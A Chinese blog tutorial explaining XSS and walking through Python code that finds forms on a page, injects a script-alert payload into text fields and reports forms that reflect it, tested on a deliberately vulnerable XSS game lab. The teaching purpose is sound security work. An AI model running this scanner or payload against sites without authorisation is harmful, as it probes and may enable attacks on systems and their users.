如何在Python中构建XSS漏洞扫描器?代码实现教程

2021年11月16日15:27:24 发表评论 1,673 次浏览

Python如何构建XSS漏洞扫描器?本文教你使用请求和 BeautifulSoup 构建检测网页中 XSS 漏洞的 Python 脚本。

跨站点脚本(也称为XSS)是一种 Web 安全漏洞,允许攻击者破坏用户与易受攻击的 Web 应用程序的交互。攻击者旨在通过在普通网页中包含恶意代码来在受害者的 Web 浏览器中执行脚本。这些允许此类攻击的缺陷在具有用户输入的 Web 应用程序中非常普遍。

如何在Python中构建XSS漏洞扫描器?在本教程中,你将学习如何从头开始编写 Python 脚本来检测此漏洞。

相关文章 如何在 Python 中构建 SQL 注入扫描器。

Python构建XSS漏洞扫描器示例代码 - 我们需要安装这些库:

pip3 install requests bs4

好的,让我们开始吧:

import requests
from pprint import pprint
from bs4 import BeautifulSoup as bs
from urllib.parse import urljoin

由于此类 Web 漏洞在用户输入和表单中被利用,因此我们需要填写我们通过一些 javascript 代码看到的任何表单。所以,让我们首先创建一个函数来从任何网页的 HTML 内容中获取所有表单(从本教程中获取):

def get_all_forms(url):
    """Given a `url`, it returns all forms from the HTML content"""
    soup = bs(requests.get(url).content, "html.parser")
    return soup.find_all("form")

现在这个函数返回一个表单列表作为汤对象,我们需要一种方法来提取每个表单的详细信息和属性(例如action、方法和各种输入属性),下面的函数正是这样做的:

def get_form_details(form):
    """
    This function extracts all possible useful information about an HTML `form`
    """
    details = {}
    # get the form action (target url)
    action = form.attrs.get("action").lower()
    # get the form method (POST, GET, etc.)
    method = form.attrs.get("method", "get").lower()
    # get all the input details such as type and name
    inputs = []
    for input_tag in form.find_all("input"):
        input_type = input_tag.attrs.get("type", "text")
        input_name = input_tag.attrs.get("name")
        inputs.append({"type": input_type, "name": input_name})
    # put everything to the resulting dictionary
    details["action"] = action
    details["method"] = method
    details["inputs"] = inputs
    return details

获得表单详细信息后,我们需要另一个函数来提交任何给定的表单:

def submit_form(form_details, url, value):
    """
    Submits a form given in `form_details`
    Params:
        form_details (list): a dictionary that contain form information
        url (str): the original URL that contain that form
        value (str): this will be replaced to all text and search inputs
    Returns the HTTP Response after form submission
    """
    # construct the full URL (if the url provided in action is relative)
    target_url = urljoin(url, form_details["action"])
    # get the inputs
    inputs = form_details["inputs"]
    data = {}
    for input in inputs:
        # replace all text and search values with `value`
        if input["type"] == "text" or input["type"] == "search":
            input["value"] = value
        input_name = input.get("name")
        input_value = input.get("value")
        if input_name and input_value:
            # if input name and value are not None, 
            # then add them to the data of form submission
            data[input_name] = input_value

    if form_details["method"] == "post":
        return requests.post(target_url, data=data)
    else:
        # GET request
        return requests.get(target_url, params=data)

Python如何构建XSS漏洞扫描器?上面的函数将form_details是我们刚刚编写的get_form_details ()函数的输出作为参数,它包含所有表单详细信息,它还接受原始 HTML 表单所在的url,以及为每个文本设置的值或搜索输入字段。

在我们提取表单信息后,我们只需使用requests.get()或requests.post()方法(取决于表单方法)提交表单。

现在我们已经准备好了从网页中提取所有表单详细信息并提交它们的函数,现在很容易扫描 XSS 漏洞, Python构建XSS漏洞扫描器示例如下:

def scan_xss(url):
    """
    Given a `url`, it prints all XSS vulnerable forms and 
    returns True if any is vulnerable, False otherwise
    """
    # get all the forms from the URL
    forms = get_all_forms(url)
    print(f"[+] Detected {len(forms)} forms on {url}.")
    js_script = "<Script>alert('hi')</scripT>"
    # returning value
    is_vulnerable = False
    # iterate over all forms
    for form in forms:
        form_details = get_form_details(form)
        content = submit_form(form_details, url, js_script).content.decode()
        if js_script in content:
            print(f"[+] XSS Detected on {url}")
            print(f"[*] Form details:")
            pprint(form_details)
            is_vulnerable = True
            # won't break because we want to print available vulnerable forms
    return is_vulnerable

以下是该函数的作用:

  • 给定一个 URL,它获取所有 HTML 表单,然后打印检测到的表单数量。
  • 然后它遍历所有表单并提交表单,并使用 Javascript 代码放置所有文本和搜索输入字段的值。
  • 如果 JavaScript 代码被注入并成功执行,那么这就是一个明显的迹象,表明该网页存在 XSS 漏洞。

Python构建XSS漏洞扫描器示例 - 让我们试试这个:

if __name__ == "__main__":
    url = "https://xss-game.appspot.com/level1/frame"
    print(scan_xss(url))

这是一个预期的 XSS 易受攻击的网站,结果如下:

[+] Detected 1 forms on https://xss-game.appspot.com/level1/frame.
[+] XSS Detected on https://xss-game.appspot.com/level1/frame
[*] Form details:
{'action': '',
 'inputs': [{'name': 'query',
             'type': 'text',
             'value': "<Script>alert('hi')</scripT>"},
            {'name': None, 'type': 'submit'}],
 'method': 'get'}
True

Python如何构建XSS漏洞扫描器?如你所见,XSS 漏洞已成功检测到,现在此代码并不适合任何 XSS 易受攻击的网站,如果你想检测特定网站的 XSS,你可能需要根据你的需要重构此代码。本教程的目的是让你了解此类攻击,并基本了解如何检测 XSS 漏洞。

如何在Python中构建XSS漏洞扫描器?如果你真的想要检测甚至利用 XSS 的高级工具,那里有很多工具,XSStrike是一个非常棒的工具,它完全是用 Python 编写的!

好的,我们完成了本教程,你可以通过提取所有网站链接并在你找到的每个链接上运行扫描仪来扩展此代码,这对你来说是一个巨大的挑战!

木子山

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: